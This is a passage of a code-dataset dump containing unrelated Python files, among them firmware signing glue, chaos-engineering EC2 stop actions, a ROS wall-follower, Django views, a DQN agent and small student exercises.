= glue_target_base_dir,\n source=glue_source,\n sign_id=glue_sign_id,\n signer = glue_signer,\n qti_sign = glue_qti_sign,\n sectools_install_base_dir = glue_sectools_install_base_dir,\n install_file_name = glue_install_file_name,\n #config = glue_config_qti if glue_qti_sign else glue_config,\n config = glue_config,\n soc_hw_version=glue_soc_hw_version,\n soc_vers=glue_soc_vers,\n target_image_type_filter = env.SectoolImageTypeSign(),\n max_num_root_certs = glue_max_num_root_certs)\n return sectools_signed_mbn_step1\n else:\n if 'USES_SEC_POLICY_STEP2_OEM_SIGN' in env:\n if 'USES_SEC_POLICY_DEFAULT_SIGN' in env:\n del env['USES_SEC_POLICY_DEFAULT_SIGN']\n env['USES_SEC_POLICY_MULTIPLE_DEFAULT_SIGN'] = True\n sectools_signed_mbn_step2 = env.SectoolBuilder(\n target_base_dir = glue_target_base_dir,\n source=glue_source,\n sign_id=glue_sign_id,\n signer = glue_signer,\n qti_sign = glue_qti_sign,\n sectools_install_base_dir = glue_sectools_install_base_dir,\n install_file_name = glue_install_file_name,\n config= glue_config,\n soc_hw_version=glue_soc_hw_version,\n soc_vers=glue_soc_vers,\n max_num_root_certs = glue_max_num_root_certs)\n return sectools_signed_mbn_step2\n#------------------------------------------------------------------------------\n# main\n#------------------------------------------------------------------------------\n","sub_path":"trustzone_images/ssg/bsp/build/scripts/sectools_glue.py","file_name":"sectools_glue.py","file_ext":"py","file_size_in_byte":3980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"379240943","text":"# -*- coding: utf-8 -*-\nimport random\nfrom typing import Any, Dict, List\n\nimport boto3\nfrom chaoslib.exceptions import FailedActivity\nfrom chaoslib.types import Configuration, Secrets\nfrom logzero import logger\n\nfrom chaosaws import aws_client\nfrom chaosaws.types import AWSResponse\n\n\n__all__ = [\"stop_instance\", \"stop_instances\"]\n\n\ndef stop_instance(instance_id: str = None, az: str = None, force: bool = False,\n configuration: Configuration = None,\n secrets: Secrets = None) -> AWSResponse:\n \"\"\"\n Stop a single EC2 instance.\n\n You may provide an instance id explicitely or, if you only specify the AZ,\n a random instance will be selected.\n \"\"\"\n if not az and not instance_id:\n raise FailedActivity(\n \"To stop an EC2 instance, you must specify an AZ to pick a \"\n \"random instance from or the instance id to stop\")\n\n client = aws_client('ec2', configuration, secrets)\n\n if not instance_id:\n filters = [{'Name': 'availability-zone', 'Values': [az]}]\n instance_id = pick_random_instance(filters, client)\n\n if not instance_id:\n raise FailedActivity(\n \"No instances in availability zone: {}\".format(az))\n\n logger.debug(\n \"Picked EC2 instance '{}' from AZ '{}' to be stopped\".format(\n instance_id, az))\n\n return client.stop_instances(InstanceIds=[instance_id], Force=force)\n\n\ndef stop_instances(instance_ids: List[str] = None, az: str = None,\n force: bool = False, configuration: Configuration = None,\n secrets: Secrets = None) -> AWSResponse:\n \"\"\"\n Stop the given EC2 instances or, if none is provided, all instances\n of the given availability zone.\n \"\"\"\n if not az and not instance_ids:\n raise FailedActivity(\n \"To stop EC2 instances, you must specify the AZ or the list of \"\n \"instances to stop\")\n\n client = aws_client('ec2', configuration, secrets)\n\n if not instance_ids:\n filters = [{'Name': 'availability-zone', 'Values': [az]}]\n instance_ids = list_instance_ids(filters, client)\n\n if not instance_ids:\n raise FailedActivity(\n \"No instances in availability zone: {}\".format(az))\n\n logger.debug(\n \"Picked EC2 instances '{}' from AZ '{}' to be stopped\".format(\n ', '.join(instance_ids), az))\n\n return client.stop_instances(InstanceIds=instance_ids, Force=force)\n\n\n###############################################################################\n# Private functions\n###############################################################################\ndef list_instance_ids(filters: List[Dict[str, Any]],\n client: boto3.client) -> List[str]:\n \"\"\"\n Return of all instance ids matching the given filters.\n \"\"\"\n res = client.describe_instances(Filters=filters)\n instance_ids = []\n\n # reservations are instances that were started together\n for reservation in res['Reservations']:\n for inst in reservation['Instances']:\n instance_ids.append(inst['InstanceId'])\n\n return instance_ids\n\n\ndef pick_random_instance(filters: List[Dict[str, Any]],\n client: boto3.client) -> str:\n \"\"\"\n Select an instance at random based on the returned list of instances\n matching the given filter.\n \"\"\"\n instance_ids = list_instance_ids(filters, client)\n return random.choice(instance_ids)\n","sub_path":"chaosaws/ec2/actions.py","file_name":"actions.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"490145110","text":"#!/usr/bin/env python\nimport rospy\nfrom sensor_msgs.msg import LaserScan\nfrom nav_msgs.msg import Odometry\nfrom lab4.msg import PIDInput\nfrom math import pi, cos, sin, atan2\n\n\nclass DistFinder(object):\n\n TARGET_LEFT = 0\n TARGET_RIGHT = 1\n TARGET_BOTH = 2\n\n def __init__(self, lookahead_theta, sensor_to_motor_latency, target_side, target_distance=None):\n \"\"\"Node that publishes wall following error\n\n :param lookahead_theta: secondary angle to look ahead of orthogonal to the car\n :param target_side: one of TARGET_LEFT, TARGET_RIGHT, or TARGET_BOTH\n :param target_distance: distance to maintain from the wall if TARGET_LEFT or TARGET_RIGHT\n \"\"\"\n rospy.init_node('dist_finder')\n\n if target_side == self.TARGET_LEFT or target_side == self.TARGET_RIGHT:\n if target_distance is None:\n raise ValueError('target_distance must be specified for single-sided wall following')\n elif target_side == self.TARGET_BOTH:\n if target_distance is not None:\n raise ValueError('target_distance cannot be specified for dual-sided wall following')\n else:\n raise ValueError('invalid value for target_side: {}'.format(target_side))\n self._theta = lookahead_theta\n self._sensor_to_motor_latency = sensor_to_motor_latency\n self._target_side = target_side\n self._target_distance = target_distance\n self._speed = 0.0\n\n self.pid_input_msg = PIDInput()\n self.pid_input_publisher = rospy.Publisher('/pid_input', PIDInput, queue_size=10)\n\n self.scan_subscriber = rospy.Subscriber('/scan', LaserScan, self.scan_callback)\n\n self.odom_subscriber = rospy.Subscriber('/odom', Odometry, self.odom_callback)\n\n if target_side == self.TARGET_LEFT:\n info = 'dist_finder running left side wall following at distance %.3f' % target_distance\n elif target_side == self.TARGET_RIGHT:\n info = 'dist_finder running right side wall following at distance %.3f' % target_distance\n elif target_side == self.TARGET_BOTH:\n info = 'dist_finder running double-sided wall following'\n rospy.loginfo(info)\n rospy.spin()\n \n def scan_callback(self, data):\n error = 0.0\n if self._target_side in [self.TARGET_LEFT, self.TARGET_BOTH]:\n ortho_range = self.angle2range(data, pi / 2)\n ahead_range = self.angle2range(data, pi / 2 - self._theta)\n distance = self.calculate_distance(ortho_range, ahead_range, self._theta, 0.0)\n error += distance\n if self._target_distance is not None:\n error -= self._target_distance\n if self._target_side in [self.TARGET_RIGHT, self.TARGET_BOTH]:\n ortho_range = self.angle2range(data, -pi / 2)\n ahead_range = self.angle2range(data, -pi / 2 + self._theta)\n project_distance = self._speed * self._sensor_to_motor_latency\n distance = self.calculate_distance(ortho_range, ahead_range, self._theta, project_distance)\n error -= distance\n if self._target_distance is not None:\n error += self._target_distance\n if self._target_side == self.TARGET_BOTH:\n error *= 0.5\n self.pid_input_msg.error = error\n self.pid_input_publisher.publish(self.pid_input_msg)\n \n def odom_callback(self, data):\n self._speed = data.twist.twist.linear.x\n \n def calculate_distance(self, ortho_range, ahead_range, theta, project_distance):\n \"\"\"Calculates the distance to the wall.\n\n This function can be used to calculate the distance to the left or right wall\n\n :param ortho_range: range in a direction perpendicular to the car\n :param ahead_range: range in a direction ahead of the car\n :param theta: angle between the two ranges\n :param project_distance: distance to move the car forward when projecting to compensate for delay\n \"\"\"\n alpha = atan2(ahead_range * cos(theta) - ortho_range,\n ahead_range * sin(theta))\n distance = ortho_range * cos(alpha)\n distance += project_distance * sin(alpha)\n return distance\n\n def angle2range(self, laser_scan, angle):\n \"\"\"Extracts the range at the given angle from the LaserScan message\n\n :param laser_scan: a LaserScan message\n :param angle: angle in radians\n \"\"\"\n i = int(round((angle - laser_scan.angle_min) / laser_scan.angle_increment))\n return laser_scan.ranges[i]\n\n\nif __name__ == '__main__':\n try:\n # DistFinder( # single-sided wall following\n # lookahead_theta=30 * pi / 180,\n # sensor_to_motor_latency=0.01, # seconds\n # target_side=DistFinder.TARGET_LEFT,\n # target_distance=1.0,\n # )\n DistFinder( # double-sided wall following\n lookahead_theta=30 * pi / 180,\n sensor_to_motor_latency=0.01, # seconds\n target_side=DistFinder.TARGET_BOTH,\n )\n except KeyboardInterrupt:\n pass\n except Exception as e:\n rospy.logerr(e)\n finally:\n rospy.loginfo('dist_finder shut down')\n","sub_path":"lab4/scripts/dist_finder.py","file_name":"dist_finder.py","file_ext":"py","file_size_in_byte":5230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"457100828","text":"\nfrom King import King\nfrom Rook import Rook\n\nfrom random import randint\n\nimport movingAlgo\n\nclass Game:\n\n\tdef __init__(self):\n\t\tself.BPieces = []\n\t\tself.WPieces = []\n\t\tself.BPieces = self.createBlackP()\n\t\tself.WPieces = self.createWhiteP()\n\t\tself.pieces = self.createPieces()\n\n\tdef createPieces(self):\n\t\treturn self.WPieces + self.BPieces\n\n\tdef createBlackP(self):\n\t\tblackList = []\n\t\twhile True:\n\t\t\trandCol = self.getRndmNum()\n\t\t\trandRow = self.getRndmNum()\n\t\t\tp = King(randCol,randRow,1)\n\t\t\tif movingAlgo.manualMove(p,self.WPieces,self.BPieces,randCol,randRow):\n\t\t\t\tblackList.append(p)\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tcontinue\n\n\t\treturn blackList\n\n\tdef createWhiteP(self):\n\t\treturn [King(2,2,0), Rook(4,4,0)]\n\n\tdef getRndmNum(self):\n\t\treturn randint(0,7)\n\n\tdef checkOccupied(self):\n\t\tif len(self.pieces.size) != 0:\n\t\t\tpass \n\n","sub_path":"Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"211100070","text":"# Escribir una función espandigital(n) que determine si un numero n es pandigital, retornando True o False segun\n# corresponda. Escribir también un programa para ingresar un número, invocar a la función y mostrar un mensaje\n# informativo. pandigital = numero que contiene del 0 al 9 al menos una vez.\n\n# Función:\n\ndef espandigital(n):\n \"\"\" Función que determina si el numero\n ingresado por el usuario es pandigital\n o no lo es. \"\"\"\n referencia=[0,1,2,3,4,5,6,7,8,9]\n ultimo=n%10\n resto=n//10\n pandigital=False\n if n >= 1000000000:\n for i in range(len(referencia)):\n while resto > 0:\n if referencia[i] == ultimo:\n pandigital=True\n break\n else:\n ultimo=resto%10\n resto=resto//10\n if pandigital==False:\n break\n return pandigital\n\n# Programa principal:\n\nnumero=int(input(\"Ingrese el número entero que desea verificar si es pandigital: \"))\nverificado=espandigital(numero)\nif verificado == True:\n print(\"El número\",numero,\"es pandigital. Ya que contiene en si mismo todos los digitos entre 0 y 9.\")\nelse:\n print(\"El número\",numero,\"NO es pandigital. Ya que no contiene en si mismo todos los dígitos entre 0 y 9.\")\n","sub_path":"Programación 1 - Verano 2021/Ejercicio 1 1° Parcial Gobea Alcoba, Mariano Entregado.py","file_name":"Ejercicio 1 1° Parcial Gobea Alcoba, Mariano Entregado.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"505939913","text":"from django.db.models import Count\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n\nfrom api.models import City, CityFact, CityImage, CityVisitLog\nfrom api.modules.city.serializers import AllCitiesSerializer, CitySerializer, CityImageSerializer, CityFactSerializer, \\\n CityVisitSerializer\n\n\n@api_view(['GET'])\ndef get_all_cities(request, no_of_cities=8):\n \"\"\"\n Returns a list of cities with maximum number of logs (visits)\n :param request:\n :param no_of_cities: (default count: 8)\n :return: 200 successful\n \"\"\"\n cities = City.objects.annotate(visit_count=Count('logs')).order_by('-visit_count')[:no_of_cities]\n serializer = AllCitiesSerializer(cities, many=True)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef get_city(request, city_id):\n \"\"\"\n Returns a city on the basis of city id\n :param request:\n :param city_id:\n :return: 404 if invalid city id is sent\n :return: 200 successful\n \"\"\"\n try:\n city = City.objects.get(pk=city_id)\n except City.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n # Add city visit log\n try:\n city_visit_log = CityVisitLog(city=city, user=request.user)\n city_visit_log.save()\n except Exception as e:\n pass\n\n serializer = CitySerializer(city)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef get_city_by_name(request, city_prefix):\n \"\"\"\n Returns a list of cities that starts with the given city prefix\n :param request:\n :param city_prefix:\n :return: 200 successful\n \"\"\"\n cities = City.objects.filter(city_name__istartswith=city_prefix)[:5]\n serializer = AllCitiesSerializer(cities, many=True)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef get_all_city_images(request, city_id):\n \"\"\"\n Returns a list of all the images for a given city id\n :param request:\n :param city_id:\n :return: 404 if invalid city id is sent\n :return: 200 successful\n \"\"\"\n try:\n city_images = CityImage.objects.filter(city=city_id)\n except CityImage.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n serializer = CityImageSerializer(city_images, many=True)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef get_all_city_facts(request, city_id):\n \"\"\"\n Returns a list of all the facts for a given city id\n :param request:\n :param city_id:\n :return: 404 if invalid city id is sent\n :return: 200 successful\n \"\"\"\n try:\n city_facts = CityFact.objects.filter(city=city_id)\n except CityFact.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n\n serializer = CityFactSerializer(city_facts, many=True)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef get_city_visits(request):\n \"\"\"\n Returns a list of cities visited by a user\n :param request:\n :return: 404 if invalid user not authenticated\n :return: 200 successful\n \"\"\"\n city_visits = CityVisitLog.objects.filter(user=request.user).values('city_id').annotate(\n visit_count=Count('city')).order_by('-visit_count')\n for visit in city_visits:\n visit['city'] = City.objects.get(pk=visit['city_id'])\n\n serializer = CityVisitSerializer(city_visits, many=True)\n return Response(serializer.data)\n","sub_path":"api/modules/city/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"250496374","text":"import hail as hl\nfrom gnomad.resources import MatrixTableResource\nfrom gnomad_qc.v3.resources.sample_qc import hard_filtered_samples\nfrom gnomad_qc.v3.resources.meta import meta\n\n\ndef get_gnomad_v3_mt(\n key_by_locus_and_alleles: bool = False,\n remove_hard_filtered_samples: bool = True,\n release_only: bool = False,\n samples_meta: bool = False\n) -> hl.MatrixTable:\n mt = gnomad_v3_genotypes.mt()\n if key_by_locus_and_alleles:\n mt = hl.MatrixTable(hl.ir.MatrixKeyRowsBy(mt._mir, ['locus', 'alleles'], is_sorted=True))\n\n if remove_hard_filtered_samples:\n mt = mt.filter_cols(hl.is_missing(hard_filtered_samples.ht()[mt.col_key]))\n\n if samples_meta:\n mt = mt.annotate_cols(meta=meta.ht()[mt.col_key])\n\n if release_only:\n mt = mt.filter_cols(mt.meta.release)\n\n elif release_only:\n mt = mt.filter_cols(meta.ht()[mt.col_key].release)\n\n return mt\n\n\n# V3 genotype data\ngnomad_v3_genotypes = MatrixTableResource(\"gs://gnomad/raw/hail-0.2/mt/genomes_v3/gnomad_genomes_v3.repartitioned.mt\")\n","sub_path":"gnomad_qc/v3/resources/raw.py","file_name":"raw.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"541480519","text":"import csv\nimport matplotlib as mpl\nfrom mpl_toolkits.mplot3d import Axes3D\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#lecture du fichier\ndata = csv.reader(open('./log.csv'))\ntime = []\nx = []\ny = []\nz = []\nfields = next(data)\ni = 0\nfor row in data :\n i = 0\n for string in row :\n if i == 0:\n x.append(float(string))\n elif i == 1:\n y.append(float(string))\n elif i == 2:\n z.append(float(string))\n i += 1\n\n#visualisatoin de la courbe\nmpl.rcParams['legend.fontsize'] = 10\n\nfig = plt.figure()\nax = fig.gca(projection='3d')\n\nax.plot(x, y, z, label='quadcopter position')\nax.legend()\n\nplt.show()\n\n\n","sub_path":"log/graphic-tracer.py","file_name":"graphic-tracer.py","file_ext":"py","file_size_in_byte":667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"275784661","text":"import os\nimport random\nimport itertools\nimport sys\nimport pprint\nimport datetime\nimport numpy as np\nimport tensorflow as tf\n\nfrom tensorflow.keras.optimizers import Adam\n\nfrom collections import deque\nfrom models.standard_agent import StandardAgent\nfrom utils import get_batch_from_memory\n\n\nclass DQNSolver(StandardAgent):\n \"\"\"\n A standard dqn_solver, inpired by:\n https://gym.openai.com/evaluations/eval_EIcM1ZBnQW2LBaFN6FY65g/\n Implements a simple DNN that predicts values.\n \"\"\"\n\n def __init__(\n self,\n experiment_name,\n env_wrapper,\n memory_len=100000,\n gamma=0.99,\n batch_size=64,\n n_cycles=128,\n epsilon=1.,\n epsilon_min=0.01,\n epsilon_decay=0.995, \n learning_rate=0.01,\n learning_rate_decay=0.01,\n rollout_steps=10000,\n model_name=\"dqn\",\n saving=True):\n\n super(DQNSolver, self).__init__(\n env_wrapper,\n model_name,\n experiment_name,\n saving=saving)\n\n # Training\n self.batch_size = batch_size\n self.n_cycles = n_cycles\n\n self.memory = deque(maxlen=memory_len)\n self.solved_on = None\n\n self.gamma = gamma # discount rate was 1\n self.epsilon = epsilon # exploration rate\n self.epsilon_min = epsilon_min\n self.epsilon_decay = epsilon_decay # 0.995\n\n self.model = self.build_model()\n\n self.optimizer = Adam(\n lr=learning_rate, \n decay=learning_rate_decay)\n\n self.load_state()\n\n self.rollout_memory(rollout_steps - len(self.memory))\n\n def rollout_memory(self, rollout_steps, verbose=False, render=False):\n if rollout_steps <= 0:\n return\n env = self.env_wrapper.env\n state = env.reset()\n for step in range(rollout_steps):\n if render:\n env.render()\n\n action = self.act(self.model, state, epsilon=1.) # Max random\n observation, reward, done, _ = env.step(action)\n state_next = observation\n \n # Custom reward if required by env wrapper\n reward = self.env_wrapper.reward_on_step(\n state, state_next, reward, done, step)\n\n self.memory.append(\n (state, np.int32(action), reward, state_next, done)\n )\n state = observation\n\n if done:\n state = env.reset()\n # OR env_wrapper.get_score(state, state_next, reward, step)\n print(f\"Rolled out {len(self.memory)}\")\n\n def solve(self, max_iters, verbose=False, render=False):\n start_time = datetime.datetime.now()\n env = self.env_wrapper.env\n state = env.reset()\n success_steps = 0\n \n for iteration in range(max_iters):\n for step in range(self.n_cycles):\n if render:\n env.render()\n\n action = self.act(self.model, state, epsilon=self.epsilon)\n observation, reward, done, _ = env.step(action)\n state_next = observation\n \n # Custom reward if required by env wrapper\n reward = self.env_wrapper.reward_on_step(\n state, state_next, reward, done, step)\n\n self.memory.append(\n (state, np.int32(action), reward, state_next, done))\n state = observation\n\n self.report_step(step, iteration, max_iters)\n if done:\n state = env.reset()\n # OR env_wrapper.get_score(state, state_next, reward, step)\n self.scores.append(success_steps)\n success_steps = 0\n else:\n success_steps += 1\n\n self.learn()\n\n score = step \n\n solved = self.handle_episode_end(\n state, state_next, reward, \n step, max_iters, verbose=verbose)\n\n if solved:\n break\n\n self.elapsed_time += (datetime.datetime.now() - start_time)\n return solved\n\n def learn(self):\n \"\"\"\n Updated the agent's decision network based\n on a sample of previous decisions it has seen.\n Here, we combine the target and action networks.\n \"\"\"\n if len(self.memory) < self.batch_size:\n return\n\n args_as_tuple = get_batch_from_memory(self.memory, self.batch_size)\n\n loss_value = self.take_training_step(*args_as_tuple)\n\n if self.epsilon > self.epsilon_min:\n self.epsilon *= self.epsilon_decay\n\n @tf.function\n def take_training_step(self, sts, a, r, n_sts, d):\n\n future_q_pred = tf.math.reduce_max(self.model(n_sts), axis=-1)\n future_q_pred = tf.where(d, \n tf.zeros((1,), dtype=tf.dtypes.float64), \n future_q_pred)\n q_targets = tf.cast(r, tf.float64) + self.gamma * future_q_pred\n\n loss_value, grads = self.squared_diff_loss_at_a(sts, a, q_targets)\n\n self.optimizer.apply_gradients(\n zip(grads, self.model.trainable_variables))\n \n return loss_value\n\n @tf.function\n def squared_diff_loss_at_a(self, sts, a, q_next):\n \"\"\"\n A squared difference loss function \n Diffs the Q model's predicted values for a state with \n the actual reward + predicted values for the next state\n \"\"\"\n with tf.GradientTape() as tape:\n q_s = self.model(sts) # Q(st)\n # Take only predicted value of the action taken for Q(st|at)\n gather_indices = tf.range(a.shape[0]) * tf.shape(q_s)[-1] + a\n q_s_a = tf.gather(tf.reshape(q_s, [-1]), gather_indices)\n\n # Q(st|at) diff Q(st+1)\n losses = tf.math.squared_difference(q_s_a, q_next)\n reduced_loss = tf.math.reduce_mean(losses)\n\n return (reduced_loss, \n tape.gradient(reduced_loss, self.model.trainable_variables))\n\n def save_state(self):\n \"\"\"\n Called at the end of saving-episodes.\n\n Save a (trained) model with its weights to a specified file.\n Passes the required information to add to the pickle dict for the \n model.\n \"\"\"\n\n add_to_save = {\n \"epsilon\": self.epsilon,\n \"memory\": self.memory,\n \"optimizer_config\": self.optimizer.get_config(),\n }\n\n self.save_state_to_dict(append_dict=add_to_save)\n\n self.model.save(self.model_location)\n\n def load_state(self):\n \"\"\"Load a model with the specified name\"\"\"\n\n model_dict = self.load_state_from_dict()\n\n print(\"Loading weights from\", self.model_location + \"...\", end=\"\")\n if os.path.exists(self.model_location):\n self.model = tf.keras.models.load_model(self.model_location)\n self.optimizer = self.optimizer.from_config(self.optimizer_config)\n del model_dict[\"optimizer_config\"], self.optimizer_config\n print(\" Loaded.\")\n else:\n print(\" Model not yet saved at loaction.\")\n\n if \"memory\" in model_dict:\n del model_dict[\"memory\"]\n\n print(\"Loaded state:\")\n pprint.pprint(model_dict, depth=1)\n","sub_path":"james_workspace/spinning_up/models/dqn/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":7291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"309499637","text":"#!/usr/bin/env python3\n\n\nimport sys\n\n\ndef main():\n data = processFile(sys.argv[1])\n for entry in data:\n createOutput(entry)\n\n\ndef processFile(filename):\n with open(filename, \"rU\") as f:\n data = [line.strip().split() for line in f]\n return data\n\n\ndef createOutput(entry):\n fizz = int(entry[0])\n buzz = int(entry[1])\n stop = int(entry[2])\n for i in range(1, stop + 1):\n outputResult(i, fizz, buzz)\n sys.stdout.write(\"\\n\")\n\n\ndef outputResult(number, fizz, buzz):\n if number % fizz == 0:\n sys.stdout.write(\"F\")\n if number % buzz == 0:\n sys.stdout.write(\"B\")\n if number % fizz != 0 and number % buzz != 0:\n sys.stdout.write(\"{0}\".format(number))\n sys.stdout.write(\" \")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"easy/fizzBuzz.py3","file_name":"fizzBuzz.py3","file_ext":"py3","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"186537343","text":"# -*- coding: utf-8 -*-\n\n'''\nЗадание:\nНапишите функцию для проверки, является ли строка валидным PIN-кодом.\n\nВалидный PIN-код:\n- состоит ровно из 4 или 6 символов\n- состоит только из цифр (0-9)\n- не содержит пробелов.\n\nПримечание: на вход всегда приходит строка (не нужно это проверять), при вводе пустых строк результат должен быть False. Функция не должна бросать исключений\n\nПримеры:\n\nis_valid(\"1234\") ➞ True\nis_valid(\"45135\") ➞ False\nis_valid(\"89abc1\") ➞ False\nis_valid(\"900876\") ➞ True\nis_valid(\" 4983\") ➞ False\n'''\n\ndef is_valid_pin(pin: str) -> bool:\n '''Проверяет валидность pin-кода.'''\n return pin.isdigit() and len(pin) in (4, 6)\n\npins = (('1234', True), ('45135', False), ('89abc1', False),\n ('900876', True), (' 4983', False))\n\nfor pin, check in pins:\n print(is_valid_pin(pin=pin) == check)\n\n","sub_path":"easy/is_valid_pin.py","file_name":"is_valid_pin.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"167130657","text":"\nimport collections\n\ndef ioc(cipher_text):\n \n\n cipher_flat = \"\".join(\n [x.upper() for x in cipher_text.split()\n if x.isalpha() ]\n )\n\n N = len(cipher_flat)\n freqs = collections.Counter( cipher_flat )\n alphabet = map(chr, range( ord('A'), ord('Z')+1))\n freqsum = 0.0\n\n for letter in alphabet:\n freqsum += freqs[ letter ] * ( freqs[ letter ] - 1 )\n\n IC = freqsum / ( N*(N-1) )\n print(IC)\n \n \nioc(\"YTSPOQCONOVOTNOTBTDIDIQCOHDLLGOJRQCOIDBCQVOLTIYOTNJSILQCOFDQYCOIDIQCONORNDBONTQJNGDBCQLJVIQCOPQTDNPDVTPQCONODNOHOHAONDQTGGQJJVOGGXOTC\")\nioc(\"VIURWPVWVWRPNVWRPWRVRWORVRWORWVNWROVNWOCEKQVCMVEQLSPQVMEUQWXMQOEPAJFUEOWAFQEOUICUYSC\")\n\n","sub_path":"cryptoLibrary/Index_of_Coincidence.py","file_name":"Index_of_Coincidence.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"362002411","text":"from bs4 import BeautifulSoup\nfrom shutil import copyfile\nimport requests\nimport configparser\nfrom urllib.parse import urlparse\n\nurl = \"https://wrblogs.samnabi.com/\"\n\n#Get the URL\n#Parse the URL using BS4\n#Extract the list of URLs\npage = requests.get(url)\n\nif page.status_code != 200:\n\tprint(\"Status code returned is\", page.status_code)\n\tprint(\"Could not fetch page!\")\nelse:\n\n\tsoup = BeautifulSoup(page.text,\"html.parser\")\n\n\t#print(soup.prettify())\n\n\tlinks = soup.find_all('a')\n\n\tfiltered_links = []\n\n\tfor i in links:\n\t\tif i.parent.name == 'li':\n\t\t\t#print(i[\"href\"])\n\t\t\tfiltered_links.append(i[\"href\"])\n\n\t#print(filtered_links)\n\n\t\n#Backup the config file to preserve its structure\ncopyfile(\"data_articles.ini\",\"data_articles.ini.bak\")\n\n#Preprocessing - drop headers that will cause the parser to fail\nstr = \"title = \"\nwith open(\"data_articles.ini\", \"r\") as f:\n lines = f.readlines()\nwith open(\"data_articles.ini\", \"w\") as f:\n for line in lines:\n if str not in line.strip(\"\\n\"):\n f.write(line)\n\n#Parse the preprocessed existing articles.ini\narticle_config = configparser.ConfigParser()\narticle_config.read('data_articles.ini')\n\n#Compare Sam's links to the existing ini. For any links not found, set up for writeback\nfor i in filtered_links:\n\tif i not in article_config:# This definitely isn't accurate since it seems searching is done on config sections only\n\t\to = urlparse(i)\n\t\tsectionname = o.hostname.replace(\".com\", \"\") #what if it's not .com...probably better to use a regex for this\n\t\tsectionscheme = o.scheme\n\t\tsectionfqdn = o.netloc\n\t\tshortlink = sectionscheme + \"://\" + sectionfqdn\n\t\tarticle_config[sectionname] = {'link': shortlink, 'feed': i }\n\n#Open the ini file and write the results\nwith open('new_articles.ini', 'w+') as f:\n\tarticle_config.write(f)\n\n#Verify that what we expect is happening...\nnew_articles = configparser.ConfigParser()\nnew_articles.read('new_articles.ini')\nprint(new_articles.sections())\n\n\n\n","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"462251771","text":"#!/usr/bin/env python3\n# coding: utf-8\nimport sys\nimport time\ntry:\n import azure.cognitiveservices.speech as speechsdk\nexcept ImportError:\n print(\"\"\"\n Importing the Speech SDK for Python failed.\n Refer to\n https://docs.microsoft.com/azure/cognitive-services/speech-service/quickstart-python for\n installation instructions.\n \"\"\")\n sys.exit(1)\n\nspeech_key, service_region = \"\", \"\"\n\ndef cognitive(filename):\n \"\"\"performs continuous speech recognition with input from an audio file\"\"\"\n # \n speech_config = speechsdk.SpeechConfig(\n subscription=speech_key,\n region=service_region,\n speech_recognition_language=\"ja-JP\"\n )\n audio_config = speechsdk.audio.AudioConfig(filename=filename)\n\n speech_recognizer = speechsdk.SpeechRecognizer(speech_config=speech_config, audio_config=audio_config)\n\n done = False\n log = []\n result = []\n\n def stop_cb(evt):\n \"\"\"callback that stops continuous recognition upon receiving an event `evt`\"\"\"\n print('CLOSING on {}'.format(evt))\n speech_recognizer.stop_continuous_recognition()\n nonlocal done\n done = True\n def logevt(evt):\n nonlocal log\n evtlog = {\n \"timestamp\": (evt.result.offset+evt.result.duration)/10000000,\n \"text\" : evt.result.text\n }\n log.append(evtlog)\n def checkpoint(evt):\n nonlocal log\n nonlocal result\n tmp = {\n \"result\": evt.result.text,\n \"offset\": evt.result.offset/10000000,\n \"log\" : log\n }\n result.append(tmp)\n log = []\n print(\"Till:\", (evt.result.offset+evt.result.duration)/10000000, evt.result.text)\n\n # Connect callbacks to the events fired by the speech recognizer\n speech_recognizer.recognizing.connect(logevt)\n speech_recognizer.recognized.connect(checkpoint)\n speech_recognizer.session_started.connect(lambda evt: print('SESSION STARTED: {}'.format(evt)))\n speech_recognizer.session_stopped.connect(lambda evt: print('SESSION STOPPED {}'.format(evt)))\n speech_recognizer.canceled.connect(lambda evt: print('CANCELED {}'.format(evt)))\n # stop continuous recognition on either session stopped or canceled events\n speech_recognizer.session_stopped.connect(stop_cb)\n speech_recognizer.canceled.connect(stop_cb)\n\n # Start continuous speech recognition\n speech_recognizer.start_continuous_recognition()\n while not done:\n time.sleep(.5)\n\n return result\n\nif __name__ == \"__main__\":\n 